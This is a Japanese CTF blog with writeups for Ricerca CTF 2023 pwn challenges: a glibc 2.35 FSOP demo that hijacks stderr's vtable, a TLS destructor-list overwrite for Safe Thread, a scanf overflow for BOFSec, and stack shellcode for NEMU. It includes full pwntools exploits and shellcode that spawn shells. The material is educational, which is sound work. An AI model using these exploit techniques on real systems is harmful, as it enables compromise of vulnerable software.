Ricerca CTF 2023 復習writeup - Oath-to-Order 前半(FSOP)
はじめに
今回はRicerca CTFのOath-to-Orderを復習したので記事にしました。最近のpwnの復習は、ソースをちゃんと追うと一日で終わんないんですよね。。。まあGWでもないとやらないのでちょうどよかったかなと。次回賞金でるCTFを見つけたときのためと思って頑張ります笑
ちなみにこの記事はm1z0r3メンバーの後輩君が書いてくれたwriteupをめちゃめちゃ参考にして書いています。ありがとうございます!
FSOP
この問題は最終的にFSOP(File Streaming Oriented Programming)という手法でシェルをとるので、まずはGlibc 2.35におけるFSOPについて整理します。
他に調べてないので知りませんが、GLibc2.35では_IO_wfile_jumps.__overflow
を使ってやるらしいです。
そこにたどり着く方法はいくつかありそうですが、この問題では最後に(また)exit()
をトリガーにシェルを起動するのでその前提で整理していきます。
まず、exit()
の処理をGDBで追っていくと、exit => __run_exit_handlers => _IO_cleanup => _IO_flush_all_lockp
という順で_IO_flush_all_lockp
にたどり着きます。
ここからはソースコードも見ていきましょう。
int _IO_flush_all_lockp (int do_lock) { . . for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { . . if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; . .
fp
には_IO_list_all
から、_IO_2_1_stderr_
, _IO_2_1_stdout_
, _IO_2_1_stdin_
が代入されます。これらはFILE
構造体のポインタで定義されていますが、実体はFILE
構造体と_IO_jump_t
というvtableの構造体を組み合わせた構造体(_IO_FILE_plus
)になっています。ちなみにstderr
などのグローバル変数は_IO_2_1_stderr_
へのポインタになってたりします(ただしFILE *
で宣言されている)。この後、この構造体のメンバがたくさん出てくるので、複数タブでFile
構造体と_IO_jump_t
構造体のメンバを見ながら読むことをお勧めします。
struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; };
そのうえで、ここではFILE
構造体のポインタとして使われているので、1つ目のメンバであるfile
を操作しています。その後を見ると、if文の条件を満たしたときに_IO_OVERFLOW
マクロが呼ばれます。ちなみに条件はこんな感じです。
- (
fp->mode <= 0
かつfp->_IO_write_ptr > fp->_IO_write_base
)または(fp->mode > 0
かつfp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
)
攻撃のトリガーとなる_IO_OVERFLOW
マクロを追ってみます。
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH) #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) # define _IO_JUMPS_FUNC(THIS) \ (IO_validate_vtable \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + (THIS)->_vtable_offset)))
要するにfp->vtable->__overflow()
を呼び出しているって感じですね。GDBで追うと_IO_2_1_stderr_.vtable->__overflow
にはデフォルトでは_IO_new_file_overflow()
が入っています。ここを_IO_wfile_overflow
に書き換えておくことで攻撃につなげられます。_IO_wfile_overflow
関数を見てみましょう。
wint_t _IO_wfile_overflow (FILE *f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) { /* Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == 0) { _IO_wdoallocbuf (f); . .
攻撃をトリガーするのは_IO_wdoallocbuf (f)
です。ここでの条件は、
- (
f->flags & (_IO_NO_WRITES | _IO_CURRENTLY_PUTTING (= 0x808)) == 0
)かつ(f->_wide_data->_IO_write_base == 0
)
です(FLAGの値一覧)。では_IO_wdoallocbuf()
を見ていきましょう。
void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
トリガーは_IO_WDOALLOCATE (fp)
マクロです。ここの条件は、
- (
fp->_wide_data->_IO_buf_base == 0
)かつ(fp->_flags & _IO_UNBUFFERED(=0x2) == 0
)
です。_IO_WDOALLOCATE(FP)
マクロの処理を追うのは大変ですが一応紹介します(ここからたどれます)
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP) #define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS) #define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable #define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \ (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \ + offsetof(TYPE, MEMBER))) #define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
丁寧に追っていくとfp->_wide_data->_wide_vtable->__doallocate(fp)
だとわかります。_wide_data
はstruct _IO_wide_data
という構造体なので、ここで紹介してきます。
上記の__doallocate
ですが、呼び出し時に一切の書き換え検知機構がないことが今までの流れで分かるかと思います。つまり、攻撃時は偽のvtableを用意し、_IO_2_1_stderr_
内の_wide_data
を偽のstruct _IO_wide_data
構造体に書き換え、その書き換えた_wide_data->_wide_vtable
もvtable.__doallocate = system
になっている偽の構造体にすり替えることで、検知されることなくシェル起動に持っていけます。ちなみに引数はfp
なので、((FILE *)fp)->flags
に"/bin/sh"
を書き込んでおく必要があります。ただし、このままだと今まで出てきた条件を満たせません。
ここで、いったん _IO_flush_all_lockp()
後の条件を確認しましょう。
if (fp->mode <= 0 & fp->_IO_write_ptr > fp->_IO_write_base || fp->mode > 0 & fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if (fp->flags & 0x80a == 0 & fp->_wide_data->_IO_write_base == 0 & fp->_wide_data->_IO_buf_base == 0) fp->_wide_data->_wide_vtable->__doallocate(fp)
fp->flags
は引数も入れないといけないしどうすんだと思っていたんですが、fp->flags
にスペース文字(Asciiで0x20
)を2文字分入れた" /bin/sh"を書き込めば
条件を解決できます(後輩君のwriteup見てなるほど~となりました)。他の条件はそのまま満たすように値を調整し、実装してみた例がこちらです。
#include <stdio.h> #include <stdlib.h> typedef struct { FILE file; void *vtable; } _IO_FILE_plus; typedef struct{ char other_pointer_padding[8*13]; void* __doallocate; } _IO_jump_t; typedef struct { wchar_t *_IO_read_ptr; /* Current read pointer */ wchar_t *_IO_read_end; /* End of get area. */ wchar_t *_IO_read_base; /* Start of putback+get area. */ wchar_t *_IO_write_base; /* Start of put area. */ wchar_t *_IO_write_ptr; /* Current put pointer. */ wchar_t *_IO_write_end; /* End of put area. */ wchar_t *_IO_buf_base; /* Start of reserve area. */ wchar_t *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ __mbstate_t _IO_state; __mbstate_t _IO_last_state; //struct _IO_codecvt _codecvt; char _codecvt[112]; //struct _IO_codecvtの代わり wchar_t _shortbuf[1]; const struct _IO_jump_t *_wide_vtable; }_IO_wide_data; int main() { char *binsh = " /bin/sh"; _IO_wide_data* fake_wide_data = malloc(sizeof( _IO_wide_data)); _IO_jump_t* fake_wide_vtable = malloc(sizeof( _IO_jump_t)); *(long*)(&((_IO_FILE_plus*)stderr)->file._flags) = *(long*)binsh; ((_IO_FILE_plus*)stderr)->file._IO_read_ptr = *(long*)(binsh+8); //_flagにコピーでき なかった残りを隣の領域にコピー ((_IO_FILE_plus*)stderr)->file._mode = 1; ((_IO_FILE_plus*)stderr)->file._wide_data = fake_wide_data; ((_IO_FILE_plus*)stderr)->vtable = (void*)stderr - (void*)0x45e0; //_IO_wfile_jumps>へのオフセット fake_wide_data->_IO_write_base = 0; fake_wide_data->_IO_write_ptr = 1; fake_wide_data->_IO_buf_base = 0; fake_wide_data->_wide_vtable = fake_wide_vtable; fake_wide_vtable->__doallocate = &system; exit(0); return 0; }
このコードを実行すると、exit()
実行時にシェルが起動します。この後のOath-to-Orderでは最終的にこの状態を目指して進んでいきます。
Ricerca CTF 2023 解けなかった問題の復習
はじめに
先週Ricerca CTFのBOFSec, NEMUのwriteupを書きました。今回は解けなかったSafe Threadのwriteupを書きます(Oath-to-Orderはまた今度)。最後に参考にさせていただいたwriteupを載せておきます。(書いていただいた方、ありがとうございます!)
Safe Thread
ソースコードはこれです。
#include <stdlib.h> #include <string.h> #include <pthread.h> #include <unistd.h> pthread_t th; #define read_n(buf, len) \ { \ ssize_t i, s; \ for (i = 0; i < len; i += s) { \ s = read(STDIN_FILENO, buf + i, 0x40); \ if (s <= 0 || memchr(buf + i, '\n', s)) break; \ } \ } void *thread(void *_arg) { ssize_t len; char buf[0x10] = {}; write(STDOUT_FILENO, "size: ", 6); read_n(buf, 0x10); len = atol(buf); write(STDOUT_FILENO, "data: ", 6); read_n(buf, len); exit(0); } int main() { alarm(180); pthread_create(&th, NULL, thread, NULL); pthread_join(th, NULL); return 0; }
thread()
がスレッドとして実行されています。thread()
関数にがBOFがありますが、retする前にexit()
が呼ばれて終わってしまうためROPにはつなげられません。この感じはどうやらexit()
実行時に走る処理を書き換えるタイプの問題かなと予想ができます。では、exit()
のソースコードを見てみましょう。
https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/exit.c#L141
void exit (int status) { __run_exit_handlers (status, &__exit_funcs, true, true); }
__run_exit_handlers
の最初の方はこんな感じです。
void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors) { /* First, call the TLS destructors. */ #ifndef SHARED if (&__call_tls_dtors != NULL) #endif if (run_dtors) __call_tls_dtors ();
__call_tls_dtors
という関数が呼ばれていますね。これも追ってみましょう。
void __call_tls_dtors (void) { while (tls_dtor_list) { struct dtor_list *cur = tls_dtor_list; dtor_func func = cur->func; #ifdef PTR_DEMANGLE PTR_DEMANGLE (func); #endif tls_dtor_list = tls_dtor_list->next; func (cur->obj); /* Ensure that the MAP dereference happens before l_tls_dtor_count decrement. That way, we protect this access from a potential DSO unload in _dl_close_worker, which happens when l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */ atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1); free (cur); } } libc_hidden_def (__call_tls_dtors)
tls_dtor_list
がNULLでなければ追加の処理をするといった内容です。今回の問題はスレッドに関する問題なので、TLSがThread Local Storageのことだとすれば関係がありそうです。
__call_tls_dtors
はアセンブリだとこうなっています。
0x00007fc4ffd7ad60 <+0>: endbr64 0x00007fc4ffd7ad64 <+4>: push rbp 0x00007fc4ffd7ad65 <+5>: push rbx 0x00007fc4ffd7ad66 <+6>: sub rsp,0x8 0x00007fc4ffd7ad6a <+10>: mov rbx,QWORD PTR [rip+0x1d301f] # 0x7fc4fff4dd90 0x00007fc4ffd7ad71 <+17>: mov rbp,QWORD PTR fs:[rbx] 0x00007fc4ffd7ad75 <+21>: test rbp,rbp 0x00007fc4ffd7ad78 <+24>: je 0x7fc4ffd7adbd <__GI___call_tls_dtors+93> 0x00007fc4ffd7ad7a <+26>: nop WORD PTR [rax+rax*1+0x0] 0x00007fc4ffd7ad80 <+32>: mov rdx,QWORD PTR [rbp+0x18] 0x00007fc4ffd7ad84 <+36>: mov rax,QWORD PTR [rbp+0x0] 0x00007fc4ffd7ad88 <+40>: ror rax,0x11 0x00007fc4ffd7ad8c <+44>: xor rax,QWORD PTR fs:0x30 0x00007fc4ffd7ad95 <+53>: mov QWORD PTR fs:[rbx],rdx 0x00007fc4ffd7ad99 <+57>: mov rdi,QWORD PTR [rbp+0x8] 0x00007fc4ffd7ad9d <+61>: call rax 0x00007fc4ffd7ad9f <+63>: mov rax,QWORD PTR [rbp+0x10] 0x00007fc4ffd7ada3 <+67>: lock sub QWORD PTR [rax+0x468],0x1 0x00007fc4ffd7adac <+76>: mov rdi,rbp 0x00007fc4ffd7adaf <+79>: call 0x7fc4ffd5d370 <free@plt> 0x00007fc4ffd7adb4 <+84>: mov rbp,QWORD PTR fs:[rbx] 0x00007fc4ffd7adb8 <+88>: test rbp,rbp 0x00007fc4ffd7adbb <+91>: jne 0x7fc4ffd7ad80 <__GI___call_tls_dtors+32> 0x00007fc4ffd7adbd <+93>: add rsp,0x8 0x00007fc4ffd7adc1 <+97>: pop rbx 0x00007fc4ffd7adc2 <+98>: pop rbp 0x00007fc4ffd7adc3 <+99>: ret
fs
には何が入っているんでしょうか?この投稿によると、x86_64にはTLS(Thread Local Storage)のエントリが3つあり、そのうち2つはfs
と`gs{を使ってアクセスができるとのことでしたが、メモリのどこにあるかはわかりませんでした。
writeupによるとスレッド用スタックはfs
レジスタの指すTLSの下にあるので、BoFで書き換えできるとのことなので手動で探してみました。下記の長さで書き換えたとき、fs-0x58
のtls_dtor_list
を書き換えることができます。(fs-0x58
にあるとわかったのはmov rbp,QWORD PTR fs:[rbx]
を実行したときのrbx
が`0x58
だからです。)
io.sendlineafter("size: ", "2010") io.sendlineafter("data: ", "a"*2010)
そして、tls_dtor_list
を読み取るところまで進めましょう。
0x00007fc4ffd7ad60 <+0>: endbr64 0x00007fc4ffd7ad64 <+4>: push rbp 0x00007fc4ffd7ad65 <+5>: push rbx 0x00007fc4ffd7ad66 <+6>: sub rsp,0x8 0x00007fc4ffd7ad6a <+10>: mov rbx,QWORD PTR [rip+0x1d301f] # 0x7fc4fff4dd90 0x00007fc4ffd7ad71 <+17>: mov rbp,QWORD PTR fs:[rbx] => 0x00007fc4ffd7ad75 <+21>: test rbp,rbp
この時のrbp
の値が0xa6161
です。つまり、最初に入力できるバッファからtls_dtor_list
のポインタ(fs-0x58)までのオフセットは2008だとわかり、そこを書き換えればdtor_list
(rbp
)を自由に操作できます。dtor_list
に入っているのは関数ポインタを含む構造体なんですが、関数ポインタの部分は__call_tls_dtors
内部でPTR_DEMANGLE()
というマクロによって変形された後に関数のアドレスにならないといけません。このマクロはこんな処理をしています。
ror $2*LP_SIZE+1, reg; //LP_SIZE=8 xor __pointer_chk_guard_local(%rip), reg
mov rdx,QWORD PTR [rbp+0x18] mov rax,QWORD PTR [rbp+0x0] ror rax,0x11 xor rax,QWORD PTR fs:0x30 mov QWORD PTR fs:[rbx],rdx mov rdi,QWORD PTR [rbp+0x8] call rax
xor rax,QWORD PTR fs:0x30
に注目してください。現時点でfs
レジスタの指すTLSを書き換えることができるので、fs+0x30
(ソースコードでいう__pointer_chk_guard_local(%rip)
)は書き換えることができます。つまりrax=0
であればfs+0x30
の値の関数ポインタがそのままcall
されます。ではどのアドレスに書き換えるのがいいでしょうか?
ここで、rsi
の値を見てみましょう。
gef➤ x/gx $rsi 0x7f4c1bdaa838 <__exit_funcs>: 0x00007f4c1bdabf00
これはlibc内の値(libc+ 0x21af00)なので、リークできればLibc baseが求められそうです。なのでwrite()
などの第二引数を読み出し元にする関数を使いたいですね。ということで、thread()
内にジャンプしてwrite()
を呼び出すところから実行させます。
0x00000000004012c3 <+173>: mov edi,0x1 0x00000000004012c8 <+178>: call 0x4010b0 <write@plt>
PIE無効なのはこのためだったんですね。ではfs+0x30を0x4012c3
に書き換えればよさそうです。write()
のサイズ(rdx
)はmov rdx,QWORD PTR [rbp+0x18]
で指定できるので、tls_dtor_list
は+0x18に何か書いてある適当なアドレスにしておけばよさそうです。ということで、この時点でのexploitを書いていこうと思ったんですが、これをそのまま再現するとこんなコードで引っかかります。
0x7f7fcac19ae9 <__pthread_disable_asynccancel+9> mov rax, QWORD PTR fs:0x10 → 0x7f7fcac19af2 <__pthread_disable_asynccancel+18> mov BYTE PTR [rax+0x972], 0x0
つまりaddr+0x972
が書き込み可能なアドレス(ここではaddr=0x404028
)をfs+0x10
に入れとけば大丈夫です。では、この時点でのexploitを書いてみましょう。
offset_tls_call_dtor = 2008 offset_fs = offset_tls_call_dtor+0x58 def gen_payload(dtor_list, fs=0, fs_30=0): payload = b"a"*offset_tls_call_dtor payload += p64(dtor_list) payload += b"\0"*0x50 payload += p64(fs) payload += b"\0"*0x8 payload += p64(0x404028-0x972) payload += b"\0"*0x18 payload += p64(fs_30) return len(payload), payload def exploit(): size, payload = gen_payload(0x404004, fs_30=0x4012c3) io.sendlineafter("size: ", str(size)) io.sendlineafter("data: ", payload) leak = io.recv(8) leak_offset = 0x21af00 libc.address = u64(leak) - leak_offset print("libc base: ", hex(libc.address))
次はシェルの起動までもっていきます。手順はさっきと同じような感じで、__call_tls_dtors
内のcall rax
でsyystem()
を発火させます。
まずBOFでtls_dtor_list
の書き換えをします。2回目は書き込み先のアドレスをlibc baseのアドレスから計算できます(libc.address - 0x4288
)。なので、ここにdtor_list
の偽の構造体を作ってそれを登録させます。1回目と違うのが、thread+213
のread
で読み込むとき、tls_call_list
のポインタまでの距離が0x98
バイト遠くなっているので気を付けます。
では、偽の構造体の中身はどうしたらよいでしょうか。一度dtor_list
構造体の定義を見てみましょう。
https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/cxa_thread_atexit_impl.c#L81
struct dtor_list { dtor_func func; void *obj; struct link_map *map; struct dtor_list *next; };
__call_tls_dtors
のソースコードと見比べつつdtor_list
の使い方をまとめるとこうなります。
オフセット | 使い方 |
---|---|
+0x0 | 関数ポインタ(DEMANGLE前) |
+0x8 | call rax の第一引数 |
+0x10 | ? |
+0x18 | 次のdtor_list へのアドレス |
よって、こんな感じの方針で行けそうですね。
+0x10
に"/bin/sh"
を書き込む+0x8
に+0x10
のアドレスを書き込む+0x0
にDEMANGLE前のsystem()
のアドレスを書き込む
DEMANGLEの処理を抜き出すとこうなっています。
0x00007fc4ffd7ad84 <+36>: mov rax,QWORD PTR [rbp+0x0] 0x00007fc4ffd7ad88 <+40>: ror rax,0x11 0x00007fc4ffd7ad8c <+44>: xor rax,QWORD PTR fs:0x30
つまり、DEMANGLE前の値は、
fs+0x30
の値でXOR
- その値を17bit左回転する
ことで作れます。fs+0x30
は一回目のBOFで0x4012c3
を書き込んでいるのが残っているのでこれを使います。左17bitの回転は、pythonでは下位47bitを17bit左シフトした値と、元の値を47bit右シフト値とをOR
することで再現できます
では最後に完成形のExploitを書いておきます。大方上の処理を実装しただけですが、system()
のアドレスをそのまま書くとダメでした。理由はその後のdo_system()
内で浮動小数レジスタの値をメモリにコピーするときに、アラインメントの問題が発生していたからでした。代わりにsystem+27
のアドレスを使えばsub rsp, 8
を避けられ、この問題が発生しなくなるのでそのようにしています。
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * HOST = "" PORT = 1337 # バイナリの使い分け CHALL_BIN = "./chall" CHALL_LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6" context.terminal = ['tmux', 'split-window', '-h'] context.log_level = "DEBUG" gs = ''' b main # b __call_tls_dtors c ''' # 問題バイナリはロードしておく context.binary = ELF(CHALL_BIN, checksec=False) elf = context.binary libc = ELF(CHALL_LIBC, checksec=False) def start(): if args.REMOTE: return remote(HOST, PORT) elif args.LOCAL: return process([elf.path]) else: return gdb.debug([elf.path], gdbscript=gs) offset_tls_dtor_list = 2008 offset_fs = offset_tls_dtor_list+0x58 def unlock_pointer_chk(key, addr): xored = addr ^ key under_47 = 0x7fffffffffff & xored return (under_47 << 17) | (xored >> 47) def gen_payload(prefix, dtor_list, fs_30=0): payload = b"a"*(offset_tls_dtor_list) payload += p64(dtor_list) payload += b"\0"*(offset_fs - len(payload)) payload += b"fs+0x008" + b"fs+0x010" payload += p64(0x404028-0x972) payload += b"\0"*0x18 payload += p64(fs_30) payload = prefix + payload return len(payload), payload def exploit(): thread_173 = 0x4012c3 size, payload = gen_payload(b"", 0x404004, fs_30=thread_173) io.sendlineafter("size: ", str(size)) io.sendlineafter("data: ", payload) leak = io.recv(8) leak_offset = 0x21af00 libc.address = u64(leak) - leak_offset print("libc base: ", hex(libc.address)) second_buf_addr = libc.address - 0x4288 print("second_buf_addr: ", hex(second_buf_addr)) fake_dtor_list = \ p64(unlock_pointer_chk(thread_173, libc.symbols["system"]+27)) + \ p64(second_buf_addr + 0x10) + b"/bin/sh\0" _, payload = \ gen_payload(fake_dtor_list + b"p"*(0x98-len(fake_dtor_list)),\ second_buf_addr) io.sendline(payload) io = start() exploit() io.interactive()
終わりに
本当はOath-to-Orderもやろうと思っていたんですが、結構時間がかかってしまったのでいったんこれで形にしてします。ちゃんとGlibcのソースコードを追ってpwnした経験が浅いので、今回はすごく丁寧に追ってみました。ちゃんとソースを追うと脆弱性発見力?Exploit力?が上がる気がしますね。Oath-to-Orderの方はまた別の機会にやろうと思います。それでは!
参考にしたwriteup
Ricerca CTF 2023 参加記 - writeup
はじめに
何日ぶりだろう...てくらい久々にCTFをがっつりやりました。ていうのも最近お金がなくて、twitterをボケっと見てたら「日本の学生上位3チームには賞金が出ます!」というのにつられて始めました。しかも有名なリチェルカさんがやるってことだったので興味あったんですよね。ということで、この度は学内で有志を募って挑んでまいりました。
結果
いつも通り早稲田大学のチームm1z0r3で参加しました。結果は全体20位、日本の学生のみだと4位か5位でした。入賞は3位からだったので、もうちょっと頑張れば...と後悔の念が出てきます。まあチームとしても最近はあまり活動してなかったので、復活戦としてはまずまずじゃないかなあと思っています。僕は大体pwnかrevしかやらんのですが、今回このジャンルの問題が豊富でしたよね!(たぶんyudaiさんがいるから)。とてもよかったです。
できた問題は無念ながら
- BOFSec
- NEMU
だけでした。今日はとりあえずできた問題のwriteupだけ書きますが、来週くらいにできなかった問題の復習として
- Oath to Order
- safe thread
- gatekeeper (misc)
あたりのwriteupを書いてみようかなと思います。ということで上記の問題解けた方、writeupを残していただけると泣いて喜びます。
writeup
BOFSec(pwn, warmup)
初心者向けの問題です。
ソースコードのmain()
がこんな感じです
auth_t get_auth(void) { auth_t user = { .is_admin = 0 }; printf("Name: "); scanf("%s", user.name); return user; } int main() { char flag[0x100] = {}; auth_t user = get_auth(); if (user.is_admin) { puts("[+] Authentication successful."); FILE *fp = fopen("/flag.txt", "r"); if (!fp) { puts("[!] Cannot open '/flag.txt'"); return 1; } fread(flag, sizeof(char), sizeof(flag), fp); printf("Flag: %s\n", flag); fclose(fp); return 0; } else { puts("[-] Authentication failed."); return 1; } }
要約すると、main()
4行目のif文でuser.is_admin
が0じゃなければflagが出る、ということです。user
のauth_t
型の定義はこれです。
typedef struct { char name[0x100]; int is_admin; } auth_t;
攻撃は
get_auth()
内のscanf()
で、0x100バイトを超える入力を入れる
だけで成功します。scanf()
はフォーマットに"%s"
を指定すると際限なく読み込みをしてしまうので、簡単にバッファオーバーフローが起きます。その結果、0x100を超える入力は、隣接しているis_admin
を上書きしてしまいます。その結果、main()
内のif文が真になりフラグが出力されるという流れになります。
コピペ用の攻撃コードです。python3 solver.py
でgdbが起動するので、初心者の方は処理を追ってみるといいかなと思います。
from pwn import * HOST = "bofsec.2023.ricercactf.com" PORT = 9001 CHALL_BIN = "./chall" context.log_level = "DEBUG" gs = ''' b main c ''' context.binary = ELF(CHALL_BIN, checksec=False) elf = context.binary libc = ELF(CHALL_LIBC, checksec=False) def start(): if args.REMOTE: return remote(HOST, PORT) elif args.LOCAL: return process([elf.path]) else: return gdb.debug([elf.path], gdbscript=gs) def exploit(): io.sendline("a"*0x101) print() io = start() exploit() io.interactive()
NEMU
個人的には初めての仮想VM的な問題でした。ここから何度がグッと上がります。
調査
checksecとか使うとスタック領域が実行可能になっているのが分かります。ということは、攻撃のゴールはシェルコードを実行させることです。まずはどんなバイナリか見ていきます。
Welcome to NEMU! We now only have following 6 instructions: 1) LOAD [imm]: Load value [imm] into ACC register 2) MOV [reg]: Copy data stored in AC register into [reg] register 3) INC [reg]: Increment the value stored in [reg] register 4) DBL [reg]: Double the value stored in [reg] register 5) ADDI [imm]: Add value [imm] to the value of ACC register 6) ADD [reg]: Add value stored in [reg] register to the value of ACC register Current register status: REG1(r1): 0x00000000 REG2(r2): 0x00000000 REG3(r3): 0x00000000 ACC(r0): 0x00000000
実行するとこんな出力が出ます。どうやら簡易的な命令とレジスタをエミュレートするプログラムのようです。使うときはopcodeの番号と、operand(即値は#
、レジスタはr
をつけて書く)を入力すると実行されます。以下は#5
をACC
にロードさせた例です。
opcode: 1 operand: #5 Current register status: REG1(r1): 0x00000000 REG2(r2): 0x00000000 REG3(r3): 0x00000000 ACC(r0): 0x00000005
僕はとりあえずなんも考えずに触っていたらバグを見つけました。こんな命令を実行しました。
LOAD #5 MOV r1 ADD r1
実行すると、こんな状態になります。
Current register status: REG1(r1): 0x0000007d REG2(r2): 0x00000000 REG3(r3): 0x00000000 ACC(r0): 0x00000082
ADD
はoperandのレジスタをACC
に加える命令なので、r1=5
, ACC=10
になっているのが正解です。しかし、実際にはACC
もREG1
もおかしな値になっていますね。ここで、GDBを使って中で何が起こっていたかを見てみましょう。まず、main()
に入ってすぐのスタックの状態がこんな感じです。
ここで、LOAD #5
を実行するとこうなります(ACC
に書き込まれます)
次にMOV r1
を実行するとこうなります。(r1
にコピーされます)
ソースコードではレジスタはmain()
のローカル変数として定義されています。つまりスタック上に確保されます。
int main() { void *op_fp, *read_fp; uint64_t operand; int32_t r1 = 0, r2 = 0, r3 = 0, a = 0;
これと見比べても、ここらへんの領域がレジスタの値を保持しているようです。(別の実行時に取ったスクショです。。右上がACC
、左上r3
、右下r2
、左下r1
)
では、ADD r1
が実行されるとどうなるでしょうか?実行を丁寧に追っていくと、こんなコードを実行しているのがわかります。
なにやら、rax
の参照先にrax
の下位1バイトを加算していますね。この時のrax
の値はr1
のアドレスなので、この命令のせいでr1
とACC
の値がおかしくなっているのだなとわかります。実はこの命令、0x0000
を命令と解釈したものなので、何かバグが起きているのではないかな?と気づけます。ここでrip
のアドレスをよく見てみると、スタック領域でかつr1
のすぐ下のアドレスであることがわかります。実はこの領域、もともとは命令が書いてあったんですが、MOV r1
でr1
に書き込んだときに0x00000000
が書き込まれてしまっているんです。少し前のスクショを見てもらうとわかるかと思います。
ここまででわかったことをまとめます。
- スタックは実行可能になっている
- レジスタはスタック領域に格納されている
r1
の上の領域はバグが起こせるADD
命令で、r1
の上の領域の命令を実行できる
これらを総合すると以下のようなシナリオが考えられます。
- レジスタ命令を書き込んで、スタック内でシェルコードを完成させる
r1
の上の領域にシェルコードのエントリを書き込む(シェルコード本体へのジャンプ)ADD
命令で発火
Exploit
まずは命令を好き放題書き込むことが可能なのか考えてみます。MOV
命令はバグにより上位4バイトを符号拡張した8バイト単位でコピーします。しかし、これだけでは何もできないのでDBL
命令を使います。この命令も8バイト単位で値を2倍します。2倍するというのは左シフト1回分に等しいので、r1
に書き込んだ値を32回2倍すればr1
の上の領域に書き込むことができます。それ以外の領域はMOV
命令のバグに気を付けつつ左シフトを駆使することで、好きな値を書き込むことができます。
しかし、書き込める領域がすごい小さいんですよね。。。これがこの問題の悩みどころでした。一般にシェルコードの目的は、execve("/bin/sh", NULL, NULL);
を実行することなので、アセンブリではこのように書きます。
mov rax, 59 ; syacall命令実行時にexecveを呼ぶよう指定 mov rdi "/bin/sh" ; 第1引数 mov rsi, 0 ; 第2引数 mov rdx, 0 ; 第3引数 syscall ; execve("/bin/sh", NULL, NULL); db: "/bin/sh"
もちろん"/bin/sh"
もバイナリとして書き込む必要があります。これが結構スペースを食うんですよね。ということで、どうしたら短縮できるかを考えます。
もし第二引数(rsi
)と第三引数(rdx
)がもともと0(NULL)ならmov rsi, 0
とかはいらなくなります。実際にADD
命令実行時のx86_64のレジスタを見てみると、こうなっています。
何と0になっていますね!これで何とか書けそうです。ちなみにrdi
もスタック領域を指しているので、mov
するよりsub
で減算させた方が使うメモリが少なく済みます。最後にmov rax, 59
ですが、push 59; pop rax
にすると3バイトで済ませることができます。また、push 59
の方は2バイトなので、r1
の上にjmp
命令の前に書き込むこともできます。これらの工夫をした結果、シェルコードはこんな感じになりました。
head: pop rax sub rdi, 0x4 syscall 0x00 "/bin/sh" 0x00 push 59 ; ←ADD命令後、ここから実行が始まる jmp head
このExploitコードを実行するといい感じにスタック上にシェルコードを配置してくれます。
# -*- coding: utf-8 -*- from pwn import * HOST = "nemu.2023.ricercactf.com" PORT = 9002 CHALL_BIN = "./chall" CHALL_LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6" #context.terminal = ['tmux', 'split-window', '-h'] context.log_level = "DEBUG" gs = ''' b *(&main+0x3b2) c ''' context.binary = ELF(CHALL_BIN, checksec=False) elf = context.binary libc = ELF(CHALL_LIBC, checksec=False) def start(): if args.REMOTE: return remote(HOST, PORT) elif args.LOCAL: return process([elf.path]) else: return gdb.debug([elf.path], gdbscript=gs) def load(imm): io.sendlineafter("opcode:", "1") io.sendlineafter("operand:", "#" + str(imm)) def mov(reg): io.sendlineafter("opcode:", "2") io.sendlineafter("operand:", "r" + str(reg)) def inc(reg): io.sendlineafter("opcode:", "3") io.sendlineafter("operand:", "r" + str(reg)) def dbl(reg): io.sendlineafter("opcode:", "4") io.sendlineafter("operand:", "r" + str(reg)) def addi(imm): io.sendlineafter("opcode:", "5") io.sendlineafter("operand:", "#" + str(imm)) def add(reg): io.sendlineafter("opcode:", "6") io.sendlineafter("operand:", "r" + str(reg)) def exploit(): load(0xeceb3b6a>>1) mov(1) for i in range(0, 33): dbl(1) load(u32(b"/sh\0")) mov(2) for i in range(0, 32): dbl(2) load(u32(b"/bin")) mov(3) for i in range(0, 32): dbl(3) load(0x050f04) for i in range(0, 32): dbl(0) load(0xef834858) add(1) io = start() exploit() io.interactive()
終わりに
